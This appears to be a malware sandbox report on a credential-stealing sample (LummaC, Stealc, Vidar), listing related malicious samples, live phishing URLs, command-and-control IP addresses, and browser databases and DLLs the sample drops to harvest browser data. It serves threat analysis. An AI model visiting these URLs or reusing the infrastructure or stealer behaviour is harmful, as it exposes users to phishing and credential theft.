	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	23.101.168.44
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	52.228.161.161
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	https://docs.google.com/drawings/d/15fSe2159qP21C2NrS3K5cgcsyPwNINvux6xIUCvvgBU/preview?pli=1AmyVazquez-brian.nester@lvhn.org	Get hash	malicious	HTMLPhisher	Browse	40.99.70.178
	https://clearview-ps.inwise.net/Page_11-21-2024_1	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	https://fccdl.in/ads-manager/service/api/v1/ads/redirect?act=click&link=//schmidt-mediation-group.jimdosite.c	Get hash	malicious	HTMLPhisher	Browse	20.20.44.97
	https://heehra-incomeportal.com/	Get hash	malicious	Unknown	Browse	23.99.0.111
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	23.101.168.44
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	52.228.161.161
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	https://docs.google.com/drawings/d/15fSe2159qP21C2NrS3K5cgcsyPwNINvux6xIUCvvgBU/preview?pli=1AmyVazquez-brian.nester@lvhn.org	Get hash	malicious	HTMLPhisher	Browse	40.99.70.178
	https://clearview-ps.inwise.net/Page_11-21-2024_1	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	https://fccdl.in/ads-manager/service/api/v1/ads/redirect?act=click&link=//schmidt-mediation-group.jimdosite.c	Get hash	malicious	HTMLPhisher	Browse	20.20.44.97
	https://heehra-incomeportal.com/	Get hash	malicious	Unknown	Browse	23.99.0.111
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	23.101.168.44
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	52.228.161.161
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	https://docs.google.com/drawings/d/15fSe2159qP21C2NrS3K5cgcsyPwNINvux6xIUCvvgBU/preview?pli=1AmyVazquez-brian.nester@lvhn.org	Get hash	malicious	HTMLPhisher	Browse	40.99.70.178
	https://clearview-ps.inwise.net/Page_11-21-2024_1	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	https://fccdl.in/ads-manager/service/api/v1/ads/redirect?act=click&link=//schmidt-mediation-group.jimdosite.c	Get hash	malicious	HTMLPhisher	Browse	20.20.44.97
	https://heehra-incomeportal.com/	Get hash	malicious	Unknown	Browse	23.99.0.111

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63 40.126.53.17 184.30.17.174 20.12.23.50
	Yssr_Receipt.html	Get hash	malicious	Unknown	Browse	13.107.246.63 40.126.53.17 184.30.17.174 20.12.23.50
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.63 40.126.53.17 184.30.17.174 20.12.23.50
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63 40.126.53.17 184.30.17.174 20.12.23.50
	https://www.google.com.bn/url?snf=vpsBrmjsMjZT0YKBELze&nuu=B4grUxP5T5pV5xJiiFp0&sa=t&ndg=e2p4qPDSQqlwr77oflqr&pdbr=npO0StsDFHvGF7jwYfWY&np=slEjuRPdabbflvaXgHau&cb=IhzFYfcuqq5m2vva4DTH&url=amp%2Fbeutopiantech.com%2Fchd%2FroghgehdjtiE-SURECHDDam9lbC5kZW5vZnJpb0BoYW5lc2NvbXBhbmllcy5jb20=	Get hash	malicious	Unknown	Browse	13.107.246.63 40.126.53.17 184.30.17.174 20.12.23.50
	https://fax-review-complete-signature-required.s3.us-east-1.amazonaws.com/Derwiiuw45FSDeerwyllakttqyhfffddd/ASgggsh65378Reloadfffax3527paogHjkks/Pdf.html	Get hash	malicious	Unknown	Browse	13.107.246.63 40.126.53.17 184.30.17.174 20.12.23.50
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63 40.126.53.17 184.30.17.174 20.12.23.50
	https://ipfs.io/	Get hash	malicious	Unknown	Browse	13.107.246.63 40.126.53.17 184.30.17.174 20.12.23.50
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.63 40.126.53.17 184.30.17.174 20.12.23.50
	https://identitys.fraudguard.es/SSA_Updated_Statement	Get hash	malicious	ScreenConnect Tool	Browse	13.107.246.63 40.126.53.17 184.30.17.174 20.12.23.50
6271f898ce5be7dd52b0fc260d0662b3	https://clearview-ps.inwise.net/Page_11-21-2024_1	Get hash	malicious	HTMLPhisher	Browse	150.171.27.10 20.199.58.43
	https://www.cinehub.click/anus	Get hash	malicious	Unknown	Browse	150.171.27.10 20.199.58.43
	https://novelalert.cloudaccess.host/wp-admin/includes/contactamende/	Get hash	malicious	Unknown	Browse	150.171.27.10 20.199.58.43
	https://insights.zohorecruit.com/ck1/2d6f.390d3f0/70932e40-a754-11ef-acd6-525400d4bb1c/c4b396bcef628ee60a3903dd64a571f46a43eb4a/2?e=AP6yJbny%2BojaTRJMo4YN29y4982EEh70QglqvV8aiCoCwftyNixblJXLnLCBIbU9pdrCb4rbSvPbWtRnPycgQw%3D%3D	Get hash	malicious	Unknown	Browse	150.171.27.10 20.199.58.43
	file.exe	Get hash	malicious	LummaC	Browse	150.171.27.10 20.199.58.43
	http://amz-account-unlock-dashboard4.duckdns.org	Get hash	malicious	Unknown	Browse	150.171.27.10 20.199.58.43
	file.exe	Get hash	malicious	LummaC	Browse	150.171.27.10 20.199.58.43
	https://cardpayment.microransom.us/XYmdKR004c2prdTQ3eFRYdTZlUlAwSGhsclU2V3JnMWpuZ2h3Njg2emV0U3ZLY1Z4RkpNZm9HbkpHck9SNjFHb01Yem5jSDVSb2RmaXRIWUNvN2g1UHR4NlNzM05yeWg0R2VJSzhzSFlRVTN6UFZHYWpZSUxBeXpsYmtPMjFua1J5RFlLdm5OUVBGRnl2UWRxSjhpUFRwL1VXS1RqNEJjMmJwNkVPOVkvV2o3S3R0MkYzS1VXOG5uS1hHVll2eDdUb3hmcGtBb2VBTUdHc3hweEtXV25WRVZKdDBwWCtVZGtobzFsamp3PS0tYVREdUlIcWNwNFJ5RjAxci0tQWs2bGpCejYzaGsxMWJqSll4TWFNQT09?cid=293298779	Get hash	malicious	KnowBe4	Browse	150.171.27.10 20.199.58.43
	https://voyages-moinschers.fr/request/index.html?userid=viviane.beigbeder@idcom-france.com	Get hash	malicious	Unknown	Browse	150.171.27.10 20.199.58.43
	kXPgmYpAPg.doc	Get hash	malicious	Unknown	Browse	150.171.27.10 20.199.58.43
3b5074b1b5d032e5620f69f9f700ff0e	es.hta	Get hash	malicious	Unknown	Browse	20.198.118.190
	https://identitys.fraudguard.es/SSA_Updated_Statement	Get hash	malicious	ScreenConnect Tool	Browse	20.198.118.190
	PDQConnectAgent-4.3.4.msi	Get hash	malicious	Unknown	Browse	20.198.118.190
	SeT_up.exe	Get hash	malicious	LummaC Stealer	Browse	20.198.118.190
	Setup.exe	Get hash	malicious	LummaC	Browse	20.198.118.190
	locker.exe	Get hash	malicious	AnonWorld	Browse	20.198.118.190
	http://147.45.47.98/js/error.js	Get hash	malicious	Unknown	Browse	20.198.118.190
	https://clearview-ps.inwise.net/Page_11-21-2024_1	Get hash	malicious	HTMLPhisher	Browse	20.198.118.190
	LRkZCtzQ3.ps1	Get hash	malicious	Unknown	Browse	20.198.118.190
	https://novelalert.cloudaccess.host/wp-admin/includes/contactamende/	Get hash	malicious	Unknown	Browse	20.198.118.190

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AFBFHDBKJEGHJJJKFIIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGIDBKKK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2679239397924882
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMZSA1LyKOMq+8iP5GDHP/0jMVuml:Kq+n0JZ91LyKOMq+8iP5GLP/0w
MD5:	933932A429D4EAA3259398B6ABAC6B6A
SHA1:	CBC736406F5D4320AD601B1FA20D74589BB79EEB
SHA-256:	A11B67440F9991E95D5E1CD461AB6F44618C15049B0D34C81FA6CA06BD4D6029
SHA-512:	69A1779A8E2D339D5E442A04A340CCC988D70865AF8D8A55B0B94F6C249EDF8B3C69C7156114965FD46CAC5C8E8B93E96882C6D93A9E266A89E26EB517B584EF
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGHDHIDGHIDGIECBKKJJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\FIIIIDGHJEBFBGDHDGIIIIJDHJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJJJEBFHDBGIECBFCBKJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFHJJJKK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKECBFCGIEGCBGCAECGCBAKECB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\120ca4d6-4eb6-4cf6-818d-e6c519822138.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46411
Entropy (8bit):	6.086849456019385
Encrypted:	false
SSDEEP:	768:jMkbJrT8IeQc5L9gIzi1zNtglFPfnXA9zY65Dk+bCiogJDSgzMMd6qD47u30T:jMk1rT8HD9lrmY65bFogtSmd6qE7F
MD5:	75CD02F4BEC83BDBF1E9C21665C0C8BC
SHA1:	A9A1F03C532BBB5840B450D3869F240C889B8DE6
SHA-256:	9C281DC0DC52A630DDD99E83ADE685C4D313A3C604FFA1AC0585C8935910A885
SHA-512:	9BA26A1DA5D844D223112F93056F351B7508C5E3C5820DDBFEF0DC78959414338D034C59CCD36ADDACFA84E8EBC852B081E92B60FABF8B34A64CB6BA5814E761
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376800529554735","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"2307ea2f-b7db-451b-8be9-822a69ad69e9"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\13c8ddd3-8ce4-4343-b019-cd5bd91f8f78.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44914
Entropy (8bit):	6.09480559272161
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW4oi1zNtglF2NcVoeGnKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynir2nKtSmd6qE7lFoC
MD5:	DCE2289C6A079357A8D2FDA33A00953B
SHA1:	FEB80CD769180F2DFB3634949FFF0C25798C5EFC
